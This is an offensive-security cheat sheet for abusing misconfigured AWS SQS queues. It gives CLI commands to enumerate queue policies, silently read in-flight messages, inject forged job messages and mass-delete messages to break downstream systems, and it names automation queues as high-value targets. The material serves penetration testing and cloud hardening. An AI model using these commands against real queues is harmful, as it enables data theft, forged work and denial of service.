Simple Queue Service holds application messages between a producer and its consumer. A queue's resource policy decides who can act on it, and when it allows a principal you hold (or is wildcarded or cross-account), you can read the messages in flight, inject forged work the consumer will process, or delete messages to break the system that depends on them.
Enumerating queues and access#
aws sqs list-queues
aws sqs get-queue-attributes --queue-url <url> --attribute-names Policy All
The Policy attribute shows which principals may SendMessage, ReceiveMessage, and DeleteMessage.
Reading, injecting, and dropping#
# read work in flight (long poll, do not delete so the consumer still sees it)
aws sqs receive-message --queue-url <url> --max-number-of-messages 10 --wait-time-seconds 20
# inject a forged message the consumer will process
aws sqs send-message --queue-url <url> --message-body '{"job":"forged"}'
# drop messages to deny the downstream system
aws sqs receive-message --queue-url <url> | jq -r .Messages[].ReceiptHandle | \
xargs -I{} aws sqs delete-message --queue-url <url> --receipt-handle {}
Exploitation notes#
- A received message becomes invisible for its visibility-timeout window; read without deleting to stay quiet, since the consumer re-reads it after the timeout.
- Injected messages are consumer-trusted input; if the consumer is a Lambda or worker, a forged body can drive code paths or downstream calls.
- Queues feeding automation (deployments, billing, provisioning) are high value: a forged or dropped message changes what the pipeline does.
Tools#
- AWS CLI (
sqs receive-message/send-message/delete-message). - Pacu (
sqs__enum): queue and policy enumeration.